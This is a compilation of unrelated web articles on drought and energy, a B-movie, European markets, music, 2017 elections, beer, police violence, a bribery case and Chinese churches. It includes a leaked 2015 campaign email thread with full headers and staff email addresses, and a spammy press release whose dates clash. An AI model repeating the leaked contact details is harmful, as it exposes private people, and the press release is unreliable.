beyond.  "The conflicts between energy and water needs are ones we've seen before ... and will only worsen as the frequency of drought increases and water temperatures rise driven in part by climate change," said Ulla Reeves, regional program director at the Southern Alliance for Clean Energy.  'Disasters in slow motion'Alabama and Georgia have been particularly hard hit this year, with the drought reaching exceptional levels that are predicted to continue and even worsen through September. Todd Rasmussen, a hydrology professor at the University of Georgia, says that taking strong energy conservation measures may be the only way to avoid losing electricity.  "Worst-case scenario for energy and water shortages later this summer can be avoided if we take time now to prepare," he said. "Unlike a hurricane, tornado or earthquake that strikes quickly, these droughts are disasters in slow motion. It's something that we could prepare for."  The River Network report says the long-term solution to reducing water consumption for power production is to switch from conventional energy sources to wind and photovoltaic solar power, which have almost no water footprint.  Alabama is currently looking at all options for managing its fragile water-energy nexus and to meet Republican Gov. Robert Bentley's call for a comprehensive water plan by 2013. According to Mitch Reid, program director at the Alabama Rivers Alliance, the state has no official water management plan to ensure that users get the water they need while enough is left over to protect the river network itself.  "Efficiency in our water use and making sure that we're not wasting water or wasting electricity, which in turn uses more water, has got to be addressed in part of a comprehensive plan," he said.  The nation needs a plan, too, said Wilson, if it is going to weather the existing and expected water shortages.  "It's not clear that the water and energy agencies are in a process where they are talking about these scenarios and building the resilience that we need to face these kinds of challenges," she said. "Is someone managing the farm here on integrating our water and energy needs? Or are we just praying for rain?"  Reprinted from Climatewire with permission from Environment & Energy Publishing, LLC. www.eenews.net, 202-628-6500
-When a local TV host gets into a car accident with an electrician, she didn’t count on one thing: that he would be the two time state champion who had also defended the interstate trophy in the ancient art of Kendo Swords. Because honestly, why would you count on that? It’s patently absurd, clearly some sort of horrible plot contrivance. What the hell is a kendo sword anyways? Certainly nothing a grown man should be messing around with.  The point is, those two end up as Prisoners in the Lost Universe, which looks a heck of a lot like Earth except that there is a kind of tree that grows dinner plates, and another kind that grows pods of orange berries. Just try to wrap your little head around that, and also how a film this derivative and cheap looking came out the same year as Return of the Jedi. One thing it did have in common with that film, however, is the presence of horrible little sidekicks. Return of the Jedi had the Ewoks, and Prisoners has Malachi, who makes the Ewoks look like Martini sipping, bon mot spewing embodiments of class and dignity. Malachi...Damn, now we’re thinking about Malachi again. He’s...He’s just the worst. Ugh.  He’s also joined on the quest by the Green Man, who’s called that because he’s the same shade of blue as a Na’vi, a giant killer baby in a diaper, and a talking vulture. Grab your finest kendo sword and get ready to defend the interstate trophy with Prisoners of the Lost Universe!
-Shaw Capital Management Headlines : Shaw Capital Management August Newsletter: Financial Markets Focusing Europe  April 04,2014 | United States | Business  Factory output expanded at a record pace in April, helped by investment spending associated with the export effort, and overseas demand for European capital equipment, and the trend appears to be cont  United States, April 04,2014/Free-Press-Release.com/ -- http://www.sbwire.com/press-releases/sbwire-77603.htm Posted Thursday, February 28 2011 at 7:45 PM CST “ Permalink Factory output expanded at a record pace in April, helped by investment spending associated with the export effort, and overseas demand for European capital equipment, and the trend appears to be continuing. Seoul, South Korea ” (SBWIRE) ” 02/08/2011 ” The big fall in the euro in recent months is clearly having a significant impact on the performance of the euro-zone economy. Shaw Capital Management, Korea “ Investment Innovation & Excellence. We provide the information, insight and expertise that you need to make the right investment choices. Shaw Capital Management Korea typically offers its clients such services as asset allocation and portfolio design; traditional and non-traditional manager review and selection; portfolio implementation; portfolio monitoring and consolidated performance reporting; and other wealth management services, including estate, tax, trust and insurance planning, asset custody, closely held business issues associated with the establishment or expansion of a family office, the formation of family investment partnerships or LLCs, philanthropy, family dynamics and inter-generation issues, etc. Factory output expanded at a record pace in April, helped by investment spending associated with the export effort, and overseas demand for European capital equipment, and the trend appears to be continuing. The major beneficiary has been Germany, but other northern member countries are also involved. However the situation is much less encouraging in Greece, Spain, and Portugal, because they are less competitive in export markets, and are being forced to introduce austerity measures to reduce their fiscal deficits. Domestic demand across the entire euro-zone remains weak, and so, despite the export performance of some member countries, it seems unlikely that the overall growth rate for the zone this year will reach 2%. The European Central Bank remains reasonably optimistic about prospects; but fortunately it has not moved towards an œexit strategy that might involve reversing the measures that were introduced to counter the recession. Short-term interest rates have been left unchanged and close to zero, the programme to provide unlimited three-month loans to the banking system is continuing, and the bank is also still intervening in the markets to buy the bonds of weaker member countries that had been sold heavily because of fears about debt defaults. The bank is therefore continuing to provide support for the system; but it is not really doing enough to offset the concerns about the debt crisis. Greece remains in the eye of the storm; but there have been increasing concerns about the situation in Spain; and the situation has been made worse by the latest warning from the Fitch Ratings agency that it may take further massive asset purchases by the European Central Bank to prevent the sovereign debt crisis in the area escalating out of control. Shaw Capital Management August 2010: Financial Markets Focusing Europe “ There are fears that Spain will need to follow Greece in requesting help from other member countries and the IMF to enable it to avoid a default, and that Portugal, and perhaps even Italy, may also need to be rescued. The pressures on the euro will therefore be intense; and whilst there may well be further support from the Swiss National Bank and others, the future of the single currency system clearly remains very uncertain. The latest modest rally in the euro must therefore be treated with great care. Sterling has recovered from the weakness that developed in May, and is ending the month higher. The economic background in the UK has not provided any real support, and the Bank of England is clearly intending to maintain short-term interest rates at very low levels; but there has been some movement of funds out of the euro into sterling, and the new coalition government in the UK has introduced measures to reduce the massive fiscal deficit that have been well received in the markets and led to an improvement in sentiment. There is clearly a risk that these latest measures in the Budget will depress the level of activity still further, and fail to solve the fiscal problems; but for the moment it seems that the new government is being given the benefit of the doubt. The evidence on the performance of the economy ahead of the Budget announcement was still pointing to a very slow recovery in activity. The manufacturing sector is reasonably buoyant, with exports expanding rapidly; and retail sales also increased more quickly than expected. But unemployment rose again to 2.47 million, and the latest survey from the CBI indicated that the value and volume of business in the services sector fell, and that further weakness was expected in the second half of the ye  More Info
-Earlier this week, Amber Coffman released a statement detailing her unfortunate departure from Dirty Projectors and how the end of her relationship with that band’s frontman, David Longstreth, factored into the situation. With that cleared up, she’s now giving us a deeper look into her forthcoming solo album, City of No Reply.  Last year, we heard her sweet, uplifting breakup song “All to Myself”, and now she’s released another song that exudes romantic yearning in “No Coffee”, a soulful dose of rousing folk-pop. Coffman’s breathy vocals do the heavy lifting, with spare electric strums and twinkling keys underscoring a robust chorus: “Baby, I need you in a serious way, I can’t give you all this love when you push me away,” Listen to it below.  “I’m really proud of the album I made and my hope is that people will listen to it on its own terms,” she said in the aforementioned statement. “I’ve waited a long time to share it and I’m looking forward to it.”  Columbia Records will release the record later this year, though a specific date has yet to be announced.
-Simply put, election night 2017 was a fantastic night for the Democratic Party.  First off, the party won convincing victories in the two marquee governors’ races. In Virginia, Lt. Gov. Ralph Northam quieted pundits by defeating GOP operative Ed Gillespie. And in New Jersey, financier Phil Murphy defeated Chris Christie’s Lt. Gov. Kim Guadagno to retake the governor’s mansion for Democrats.  But the good news for the party didn’t end there. In Virginia, Democrats also won sweeping victories down ballot, particularly in the state’s House of Delegates — including in races that weren’t even on the radar of most electoral analysts. All sorts of Democrats picked up seats there, from conventional establishment types to a democratic socialist to someone who will be the first openly transgender state legislator in the United States. The Republican brand was simply toxic.  All of this is dreadful news for the GOP and President Donald Trump. Even in normal times, it’s difficult for an incumbent president’s party to defend seats in midterm elections. These are not normal times. Virginia’s results suggest Democratic voters have grown extraordinarily energized, particularly in the suburbs. And they suggest GOP control of the House of Representatives will be in real danger in 2018.  Winner: the Democratic Party  All year, it has seemed that Democrats were in disarray. The party’s shocking 2016 defeats had reduced it to a smoking ruin. Bitter wounds from that year’s presidential primary still hadn’t healed. The party fell short in several dramatic House special elections. Its leadership appeared out of touch with its voters. People knew they were against Donald Trump, true, but what were they for?  On Tuesday, though, the Democratic brand appeared to be doing just fine.  The “establishment” top-of-the-ticket nominees who were said not to be exciting base voters — like former Goldman Sachs executive Phil Murphy in New Jersey, and the much-maligned Ralph Northam in Virginia — won their respective races.  But their down-ballot candidates in competitive districts, and even some thought not to be competitive, did extremely well too. At press time, Democrats were within striking distance of retaking the Virginia House of Delegates — a truly stunning result that electoral analysts thought was unthinkable.  These victorious Democratic challengers were diverse — Hala Ayala and Elizabeth Guzman became Virginia’s first Latina state legislators, while Danica Roem will become the entire country’s first openly transgender state legislator. They also varied ideologically — Lee Carter, a member of the Democratic Socialists of America, won an underdog victory. All of this goes to show that there’s not necessarily just one path to victory for the party.  Loser: Donald Trump and Republicans  Ed Gillespie worked hard but did not embrace me or what I stand for. Don’t forget, Republicans won 4 out of 4 House seats, and with the economy doing record numbers, we will continue to win, even bigger than before! — Donald J. Trump (@realDonaldTrump) November 8, 2017  It was always clear that 2018 would be an uphill battle for Republicans. The historical trend is unmistakable that once a president is elected, his party almost always has trouble winning off-year elections. Presidents with poor approval ratings, like Donald Trump’s, also tend to see their parties struggle.  Still, the scope of the Republican wipeout in Virginia should strike even more fear into the hearts of GOP incumbents. Control of the state’s House of Delegates was not even thought to be in play, but because of enthusiastic Democratic turnout — which it’s hard to believe wasn’t motivated by backlash against Donald Trump — it may well flip. (Several races hadn’t been called at press time and may head to recounts.)  The GOP came into the night with an enormous 66-34 majority in the statehouse. Many of their incumbents had been around for years and had grown complacent, never expecting a serious challenge.  The same is true in the US House of Representatives. Nearly two-thirds of Republican House members were first elected in 2010, and most have never even run for Congress in a world without Barack Obama in the White House. Now the world has changed. More Republican incumbents are seeing a tough challenge ahead, and many are announcing that they’ll retire to avoid it.  As for Trump himself, the Virginia debacle should be a major warning that he needs to change his political approach — or Democrats could very well retake the House, which would be a disaster for his presidency. Yet he has already become so toxically unpopular to so many voters that it could be too late.  Winner: Ralph Northam, Loser: pundits’ guts  The last 3 weeks of the VA governor's race has been all bad for Dems. https://t.co/7VpSw1nbW7 — Chris Cillizza (@CillizzaCNN) November 7, 2017  No Democratic candidate was second-guessed in recent weeks more than Ralph Northam. His campaign was called uninspiring. He was deemed to have no charisma. Liberals excoriated him for hedging in response to Ed Gillespie’s anti-immigrant attacks. Pundits assumed that, like Hillary Clinton, he was about to blow it.  But Northam didn’t just win — he romped. At press time, he led Gillespie by more than 8 points, and some analysts estimated his lead would likely grow further as more votes were counted. It was already clear, though, that he’d outperformed Clinton’s 5-point win in Virginia in 2016 and what polling averages were showing for this race. Turns out the Army doctor wasn’t such a weak and incompetent candidate after all.  Loser: Ed Gillespie’s demagogic campaign  Ed Gillespie was a longtime Republican and lobbyist who hoped to begin a political career in his own right. In 2014, he ran an under-the-radar campaign for US Senate in Virginia, and came shockingly close to upsetting incumbent Mark Warner (he was less than a point away from winning). So in 2016, he started putting things into motion for a run for governor the following year, and the GOP establishment enthusiastically backed him.  Then he found himself in a world where Donald Trump was the president of the United States.  What’s more, the party coalitions were changing — working-class white voters were increasingly drawn to the party by Trump, while educated suburban voters who demographically resembled Ed Gillespie were deserting the party.  So Gillespie made a bet. He thought that he could mobilize Trump voters through an ad campaign emphasizing hot-button culture war issues, but also keep the educated suburbanites on his side with his establishment credentials and an economic pitch.  To many political analysts, it seemed like a promising strategy. But it proved enormously controversial, as Gillespie was heavily criticized for ads stoking fears of criminal immigrant gangs and “sanctuary cities” (which Virginia doesn’t even have).  And in the end, it appears to have backfired spectacularly. Educated suburban voters abandoned Gillespie in droves and overwhelmingly backed Democrats. It’s not clear how much of that was due to a general anti-Trump backlash or Northam’s strength, and how much was due to disgust with Gillespie’s demagogic tactics.  But if Gillespie won, his victory would have sent a message that the Trumpist playbook was the most effective path to Republican victory across the nation. His defeat makes clear that’s not necessarily the case.  Winner: lower-income people in Maine (and maybe Virginia) who soon could be eligible for Medicaid  Obamacare appeared to be on the ropes at the beginning of the year, and most of the Republican bills to repeal it wiped out its expansion of Medicaid. But the GOP efforts to repeal the program derailed, meaning it’s still possible for more states to opt in to the expansion (which the Supreme Court made optional).  Up in Maine, the state legislature has been trying to opt in to the expansion for some time — but five separate efforts to do so have been vetoed by the state’s conservative governor, Paul LePage.  Finally, proponents of the idea decided to go over LePage’s head and take the question directly to voters. On Tuesday, they won overwhelmingly.  That’s not the end of the story — as Sarah Kliff writes, there are ways LePage could still throw a wrench into the process. But the vote is an unmistakable win for Medicaid expansion and indeed Obamacare itself. If implemented, estimates indicate this will result in 80,000 more Maine residents getting health insurance — and other states may look to copy Maine’s playbook.
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[207.46.100.67]) by mx.google.com with ESMTPS id t10si8900923wiw.95.2015.05.01.11.09.41 for  (version=TLSv1.2 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Fri, 01 May 2015 11:09:42 -0700 (PDT) Received-SPF: neutral (google.com: 207.46.100.67 is neither permitted nor denied by domain of huma@hrcoffice.com) client-ip=207.46.100.67; Authentication-Results: mx.google.com; spf=neutral (google.com: 207.46.100.67 is neither permitted nor denied by domain of huma@hrcoffice.com) smtp.mail=huma@hrcoffice.com Received: from BL2PR03MB114.namprd03.prod.outlook.com (10.255.230.14) by BL2PR03MB562.namprd03.prod.outlook.com (10.141.91.27) with Microsoft SMTP Server (TLS) id 15.1.154.19; Fri, 1 May 2015 18:09:38 +0000 Received: from BL2PR03MB116.namprd03.prod.outlook.com (10.255.230.28) by BL2PR03MB114.namprd03.prod.outlook.com (10.255.230.14) with Microsoft SMTP Server (TLS) id 15.1.154.19; Fri, 1 May 2015 18:09:37 +0000 Received: from BL2PR03MB116.namprd03.prod.outlook.com ([169.254.14.25]) by BL2PR03MB116.namprd03.prod.outlook.com ([169.254.14.25]) with mapi id 15.01.0148.019; Fri, 1 May 2015 18:09:37 +0000 From: Huma Abedin  To: Joel Benenson , Jennifer Palmieri  CC: John Podesta , Jake Sullivan , Mandy Grunwald , Teddy Goff , Jim Margolis , =?iso-8859-1?Q?Kristina=0D=0A_Schake?= , Robby Mook , Dan Schwerin  Subject: Re: Heads up for call with HRC Thread-Topic: Heads up for call with HRC Thread-Index: AQHQhDZlvmlXz5jVg0mKLAPjL+AzWZ1nZfUAgAAAVYCAAADNgIAAAk/v Date: Fri, 1 May 2015 18:09:36 +0000 Message-ID: <1430503814648.23251@hrcoffice.com> References: <-4969604421429860801@unknownmsgid> <1A484C9C32B526468802B7C2E6FD1BCEB36F6086@mbx031-w1-co-6.exch031.domain.local> <8102991335281125619@unknownmsgid>,<1A484C9C32B526468802B7C2E6FD1BCEB36F61DE@mbx031-w1-co-6.exch031.domain.local> In-Reply-To: <1A484C9C32B526468802B7C2E6FD1BCEB36F61DE@mbx031-w1-co-6.exch031.domain.local> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: authentication-results: gmail.com; dkim=none (message not signed) header.d=none; x-originating-ip: [104.247.47.194] x-microsoft-antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:BL2PR03MB114;UriScan:;BCL:0;PCL:0;RULEID:;SRVR:BL2PR03MB562; x-microsoft-antispam-prvs:  x-exchange-antispam-report-test: UriScan:; x-exchange-antispam-report-cfa-test: BCL:0;PCL:0;RULEID:(601004)(5005006)(3002001);SRVR:BL2PR03MB114;BCL:0;PCL:0;RULEID:;SRVR:BL2PR03MB114; x-forefront-prvs: 0563F2E8B7 x-forefront-antispam-report: SFV:NSPM;SFS:(10009020)(6009001)(24454002)(13464003)(51694002)(377454003)(51704005)(122556002)(77156002)(86362001)(50986999)(54356999)(76176999)(40100003)(2950100001)(102836002)(62966003)(92566002)(5001770100001)(36756003)(93886004)(5001920100001)(5001960100002)(66066001)(2656002)(87936001)(46102003)(19580405001)(19580395003)(106116001)(99286002)(117636001);DIR:OUT;SFP:1101;SCL:1;SRVR:BL2PR03MB114;H:BL2PR03MB116.namprd03.prod.outlook.com;FPR:;SPF:None;MLV:sfv;LANG:en; Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-MS-Exchange-CrossTenant-originalarrivaltime: 01 May 2015 18:09:36.4490 (UTC) X-MS-Exchange-CrossTenant-fromentityheader: Hosted X-MS-Exchange-CrossTenant-id: cd8891aa-8599-4062-9818-7b7cb05e1dad X-MS-Exchange-Transport-CrossTenantHeadersStamped: BL2PR03MB114 Return-Path: huma@hrcoffice.com X-OriginatorOrg: hrcoffice.com just to give people background here: 1. She believes she needs to do this video is because her integrity is bein= g attacked and she is the only one who can say she didnt make a decision as= secstate based on a donor. 2. Imp point: The foundation has had little luck getting their surrogates b= ooked on any serious shows. So she feels like it has to be someone at her l= evel or WJC level that engages directly in order for there to be any covera= ge of the defense. 3. She doesnt want to continue to have to have press yell these questions a= t her in Nevada and CA and if she doesnt do the video, that is the situatio= n she will be in=20 ________________________________________ From: Joel Benenson  Sent: Friday, May 01, 2015 1:53 PM To: Jennifer Palmieri Cc: John Podesta; Jake Sullivan; Mandy Grunwald; Huma Abedin; Teddy Goff; J= im Margolis; Kristina Schake; Robby Mook; Dan Schwerin Subject: RE: Heads up for call with HRC For some reason I don't have the morning news round up -- can someone send = that to me. -----Original Message----- From: Jennifer Palmieri [mailto:jpalmieri@hillaryclinton.com] Sent: Friday, May 01, 2015 1:51 PM To: Joel Benenson Cc: John Podesta; Jake Sullivan; Mandy Grunwald; Huma Abedin; Teddy Goff; J= im Margolis; Kristina Schake; Robby Mook; Dan Schwerin Subject: Re: Heads up for call with HRC Given this morning's am shows - which were terrible - that is no longer a g= reat argument. Sent from my iPhone > On May 1, 2015, at 1:49 PM, Joel Benenson  wrote: > > Thanks. > Do we have some analysis of nightly news/front pages etc to make the case= that this is not being covered heavily? Or at least enough based on day= to day observation, i.e. not on front pages, not on nightly news or mornin= g news... > > -----Original Message----- > From: Jennifer Palmieri [mailto:jpalmieri@hillaryclinton.com] > Sent: Friday, May 01, 2015 1:44 PM > To: John Podesta; Joel Benenson; Jake Sullivan; Mandy Grunwald; Huma > Abedin; Teddy Goff; Jim Margolis; Kristina Schake; Robby Mook; Dan > Schwerin > Subject: Heads up for call with HRC > > While on the phone on a different topic, HRC raised Clinton Cash convo wi= th Jake and me. It was a difficult conversation. So folks should be ready= to explain why we don't think a video makes sense. > > Moreover, my impression is she wants a much stronger response. Which mea= ns engaging more on details that we have to date not found in our interest = to do so. > > Just wanted to update folks. > > Sent from my iPhone
-And, I mean, I get where he's coming from. Instagram is where we see the photos of the lines, the camping chairs, the iceman pours. It's also where we see almost all of beer culture to some degree. Instagram is where the "lifestyle" aspects of beer drinking shine. And the NE IPA—in all its orb-like, orangey, milkeshakey glory—perhaps shines brighter than most. It's awe-inspiring to some as much as it's confusing to others. That's a pretty rad thing to have happening in beer at all.  "New England IPA is a beer style that can be really tasty when it is well made," Oliver concedes, "but it can’t even sit on a shelf for two weeks. It has no shelf life to it at all."  To borrow some of Oliver's own famous retorts: "C’mon man, give it a rest. You want us off your lawn?"  First, I routinely have good and bad versions of every new branch on the evolutionary tree of beer. There's nothing unique to NE IPA in terms of its hits and misses. Second, how in the world does he think shelf life is the point of any of this?  Yes, it was a passing conversation that was recorded and printed and perhaps lacks Oliver's deeper thoughts on the subject given its brevity and spontaneous nature. But I doubt it. Oliver's statements mirror what most people say who have only had a passing experience with the style. Those folks—even seasoned brewers—tend to write off NE IPA for its lack of shelf stability, its appearance, and its trendiness. They seem unaware that the makers of these beers have no desire for shelf stability. They're often packaged and sold day-of and drank within a week or so anyway. (And some, like Other Half's Sam Richardson, say they loves them best at two months, so who even knows? ¯\_(ツ)_/¯ ) Meanwhile, the appearance of these beers is wide ranging—from the subtle haze of Hill Farmstead's rustic hoppy beers, to the unsightly yeast suspension of a Heady Topper, to the candle-wax appearance of their decedents. NE IPA is still a spectrum, and everyone's finding their way.  The people making these beers are doing so within a new model for beer making, selling, and drinking that simply didn't exist for Brooklyn Brewery. It's a context that enables this style to exist, and they're taking advantage of it to try new things. Throughout history, the beers that were made didn't come from some platonic ideal of what a beer should be. They were the results of constraints and opportunity. Available ingredients, water profiles, technology. Clear, shelf-stable beer itself replaced murky beer more than a century ago. No one was claiming that sparkling Lager was based around camera obscura culture. It just looked fucking delicious to the drinkers of the time who were excited by something new.  Rather than trying to figure out how to make a declining flagship more shelf stable so it can sit warm in the grocery store for 6-12 months in Florida while it waits for a "Why not?" purchase after the locals hit an out-of-stock gap, NE IPA brewers are making beers that audiences are begging for, and they're doing it directly off their own docks with no concern for its shelf life since they don't need one. For many, the NE IPA is beer at its most immediate, freshest, flavorful peak.  Ever since our panel discussion called "Hazed and Confused" at Beavertown's Extravaganza, I've had a heightened awareness of the misconceptions of the style, especially among well-established brewers. And it's getting a little embarrassing.  Brad Redick, a member of our Fervent few summed it up beautifully: "Brewmasters with decades of experience don't understand the equation of the NE IPA success. They work backwards with their own equations that resulted in success as if you can plug and play with the variables. Then we get these nonsensical opinions."  Oliver also went on to say that it's a passing fad, like the Black IPA: "These things come and go. I have seen a great many fads over my 28 years of brewing; three or four years ago it was black IPA—everyone brewed one. Now it’s hard to find one."  He's right, everyone brewed one, including Brooklyn. It was part of the Brewmaster's Reserve Series.  Oh, and this other notion that one of the world's largest craft brewers doesn't follow trends is ludicrous. "We don’t do bandwagon. We start things and then we wait for other people to come behind it.” Oliver and company certainly do get ahead of the game at times. They did that with their Half Ale, which was a fantastic sessionable Saison at only 3.4%. And in 2014, no less! But it's dying on the vine because being too far ahead of the curve is costly to an operation of Brooklyn's size. It's much better to sit back in the pocket and respond to the mainstream like they did when that whole quick sour thing proved to be more than a fad with Bel Air Sour.  So, is the NE IPA based around Instagram culture? Find me something that's not.  This thread was a magical response:
-Keith Davis Jr.—Shot at 44 Times by Baltimore Police  His Crime? That He Survived  February 22, 2016 | Revolution Newspaper | revcom.us  From a reader:  Keith Davis Jr.  On June 7, 2015, Baltimore police chased, cornered in a parking garage, and fired 44 times at Keith Davis Jr. Keith would have joined the more than 1,100 people murdered by police in 2015, except for one thing—he survived and can now tell the truth about what happened.  What has been the response of Baltimore City State’s Attorney Marilyn Mosby? To indict the cops who carried it out? No! Keith Davis, the victim of multiple shots to his face and body, is the one in jail.  For over eight months they have denied Davis any kind of bail. For eight months he has been denied medical treatment to remove a bullet fragment lodged in his neck, not far from his spinal cord. When it became clear that somehow Davis would survive, the State’s Attorney’s office hit him with 16 charges. On December 3, the state announced that there would be a new arraignment with additional charges, which gave them a pretext to further postpone his trial far beyond the 180 days allowed by Maryland state law. Davis’ trial is finally scheduled to begin this week, but the State’s Attorney’s office still refuses to share with the Davis legal team the statements from all of the police involved in this shooting spree. What are they hiding?  Anatomy of a Police Cover-up  On June 7, there was a car accident and cops were called to the scene. Then another car, driven by an unlicensed cab driver, Charles Holden, came careening towards the cop car. Holden says someone had gotten in his car and was attempting to rob him. When Holden’s car stopped, the man in the passenger seat leapt from the car and started to run. Keith Davis says he was in the crowd that had gathered on the corner. When the cops started chasing the guy toward them, they all ran. “I wasn’t even the only one that ran in that direction but they ended up chasing me.” The police chased him into a closed parking garage and began to fire at him from two directions.  Keith Davis Jr. in the hospital soon after he was shot by police. He arrived in critical condition and received emergency surgery. While in the hospital, he was chained to his bed. Once out of critical condition, Keith was taken to jail and has been refused medical care for more than seven months. A bullet fragment remains lodged in his neck, not far from his spine.  The police claim that Keith Davis was the man who had been in the cab. Yet the cab driver described that man who attempted to rob him as a light-skinned African-American in his 30s with braids or long hair. “He had good size hair. I think it was plaited,” he told investigators. But Davis is 25 and wears his hair closely cut. Other details given by the cab driver of the person who ran from the cab also do not match those of Davis. Further, it has been reported that a police sergeant tried to “prep” Holden into fingering Davis as the person in his cab by saying to Holden, “We got him and I don’t think he is going to make it.”  Initially, the cops claimed that shooting 44 times at Keith Davis was justified because it was a two-sided shoot-out. But forensic testing of the .22 caliber long gun, which the cops “found” on the scene, shows that it had never been fired. In the midst of this “shoot-out,” Davis called his girlfriend Kelly Holsey. Describing the call, she said there was “a constant pop-pop-pop” while Davis told her, “Babe, I’m gonna die.” The call lasted for one minute and seven seconds. Davis said, “The officer tried to shoot my face off.” And Holsey heard Davis yell, “I don’t have nothing.” Then “one big pop” before the call dropped.  The cops in the poorly lit garage were in two groups on either side of Davis. Some of the cops claim Davis was shooting but admit not actually seeing muzzle fire, only hearing the sound of gunfire. In one preliminary report, a cop admitted that he didn’t know for sure whether shots were “red or blue, friend or foe.” From these preliminary reports that did get out, one can surmise why the state prosecutor has refused to share all the police reports. Their initial plan to railroad Davis has not gone the way they thought. What new ways will they find to justify this grave injustice?  The Police Are STILL Killing People with Impunity  “This is what would have happened to Freddie Gray if he had lived.”  —protester quoted by the Guardian (UK)  Ever since May 1, when Marilyn Mosby indicted six cops for the killing of Freddie Gray, her office, the police commissioners (both old and new), and the media have been saying that it is a “new day” in Baltimore. Dangerous illusions were spread that now people could sit back and “let the system work.” But what is happening to Keith Davis shows just the opposite. The role of the police—and the State’s Attorney’s office—is STILL to serve and protect the system that rules over the people. The police are STILL killing people with impunity.  The role of the police is not to serve and protect the people. It is to serve and protect the system that rules over the people. To enforce the relations of exploitation and oppression, the conditions of poverty, misery and degradation into which the system has cast people and is determined to keep people in. The law and order the police are about, with all of their brutality and murder, is the law and the order that enforces all this oppression and madness. Bob Avakian, BAsics 1:24  Here’s some of what’s been happening since last May 1 in Baltimore, in addition to their outrageous actions around Keith Davis:  The State’s Attorney’s office conducted a farce of a trial leading to a mistrial of the first cop involved in the murder of Freddie Gray. Will any of these cops do serious time for their MURDER of Freddie?  The State’s Attorney’s office continues to do NOTHING around the 2013 police murder of Tyrone West despite the outrages of that case now gaining national and international attention—no investigation, no charges, nothing of substance. (See “The Baltimore Police Murder of Tyrone West—and the Hard-Fought Struggle for Justice.”)  Meanwhile, protesters against police terror, like Greg Butler, face huge time in jail, far more serious than the charges made against the cops responsible for breaking Freddie Gray’s neck, making it clear that in the eyes of this system, standing up against the murder of Black people is considered truly unacceptable. (See “Free Greg Butler! A Freedom Fighter in Baltimore Uprising Faces Over 25 Years in Jail.”)  A system like this is completely illegitimate—and the untold suffering it causes completely unnecessary. A system that produces these horrors is a system that needs to be swept away.  Free Keith Davis Jr.—Drop all the charges!  Indict the cops who fired at him 44 times!
-Copyright by WPRI - All rights reserved Shark Bar & Grille on Thayer Street in Providence. (photo: WPRI 12/Walt Buteau)  Copyright by WPRI - All rights reserved Shark Bar & Grille on Thayer Street in Providence. (photo: WPRI 12/Walt Buteau)  Dan McGowan, WPRI.com Reporter & Tim White, Target 12 Investigator - PROVIDENCE, R.I. (WPRI) – Former House Speaker Gordon Fox did legal work for the same Thayer Street restaurant whose owners prosecutors say paid him $52,500 in bribes in order to obtain a liquor license, the Target 12 Investigators have learned.  Fox represented Shark Bar & Grille in front of the Providence Board of Licenses in 2012, when the restaurant was accused of allowing an underage patron to purchase an alcoholic beverage. The restaurant agreed to pay a $350 fine.  Fox was vice-chair of the board in the summer of 2008 when he pushed for the restaurant to receive its liquor license in the face of staunch opposition from Providence police, Brown University and a sitting city councilman. The board voted unanimously to approve the license on Aug. 29, 2008.  What was unknown at the time was that Fox had received $35,000 in four checks and another $17,500 in cash from the owners of the restaurant in exchange for the license. He pleaded guilty on Tuesday to bribery, wire fraud and filing a false tax return and reached a plea deal in exchange for a three-year prison sentence.  "There is nothing to indicate there will be a problem," Fox said in 2008 before he made a motion to approve the liquor license for the restaurant.  But there were problems.  Records reviewed by Target 12 show Shark Bar & Grille has been cited for eight city ordinance violations since 2009, including two for selling alcohol to a minor in 2012 and another for a brawl that occurred inside the restaurant in 2013. All told, the restaurant has paid $1,750 in fines since it opened.  Fox - who left the Board of Licenses in 2009 and became speaker in 2010 - was the restaurant's lawyer following an underage drinking incident that occurred on Oct. 27, 2012.  Acting on an anonymous tip, Providence police sent a 19-year-old male to the restaurant, according to an incident report obtained by Target 12. The door host told the teenager "just don't drink" and allowed him to enter. He proceeded to purchase a rum and coke. Police charged the restaurant with a liquor law violation.  The restaurant agreed to pay a $350 fine during a pre-hearing conference that occurred behind closed doors on Dec. 6, 2012. Fox's signature is on the agreement with the board. The city does not keep transcripts of pre-hearing conferences.  Serving alcohol to minors was exactly the type of incident Shark Bar & Grille's owners pledged to avoid when they made the case to the Board of Licenses that they deserved a liquor license in 2008. John Mancini, a lawyer representing the restaurant, told the board there would a "zero tolerance policy" for underage drinking.  At the time, Providence police, Brown University and former City Councilman Cliff Wood all asked the board not to approve the liquor license, citing the number of license already granted on Thayer Street. A police lieutenant said, "I don't know if we can take another liquor license up there."  "It is not his intention to operate a bar or pub up here, which would attract any type of late night maliciousness," Mancini said, referring to one of the restaurant's owners.  In the early morning hours of Jan. 26, 2013, police responded to Shark Bar & Grille to find "tables, chairs, drink glasses and other debris" on the restaurant's floor following a fight, according to an incident report obtained by Target 12. One patron was found "covered in blood" from a laceration.  The restaurant paid a $1,000 fine following the incident. Fox did not represent the owners in front of the licensing board on that matter.  Prosecutors have not identified the names of the owners they believed bribed Fox. Joseph Dalomba, one of the restaurant's former co-owners, told Target 12 he has spoken to law enforcement, but declined to say if he was involved in paying off Fox. Raymond Hugh, another co-owner, hung up the phone when a reporter asked if he talked to law enforcement.  Mayor Jorge Elorza has said he plans to consult with the city's legal department to see if it can revoke the liquor license for Shark Bar & Grille. Johanna Harris, the current chairwoman of the licensing board, has said the board would need "more concrete information" before making a decision.  If U.S. District Judge Mary Lisi accepts to Fox's plea agreement, he will be sentenced June 11.
-Christians in Wenzhou, Zhejiang province were seen making dozens of crosses to be passed out and worn among fellow believers after the local government removed over 1,000 crosses from church exteriors in a year-long “clean-up movement”.  Wenzhou, known as “China’s Jerusalem”, is home to the country’s largest Christian community.  Photos showing a group of locals creating small crosses and painting them red were posted to Weibo, China’s popular Twitter-like platform, along with a message urging Christian faithful in Zhejiang to hang them up at home and wear them.  Father Chen Kaihua of the Kunming diocese in Yunnan province soon after posted a message to Weibo calling on church-goers across the country to join in the “safe and legal non-violent disobedience movement”, according to Hong Kong Free Press, adding that “Tomorrow you will see crosses everywhere in Zhejiang”.  The protest comes amid a government campaign that has seen around 1,200 church crosses removed in Zhejiang since 2014, according to the online Christian newspaper Gospel Harold. Authorities have also threatened to demolish churches in what’s considered a move to curb the spread of Christianity in China.  “The government has always been suspicious about religions — it tightly controls religious beliefs and expressions and Chinese people can only believe in five official religious. But it’s important to 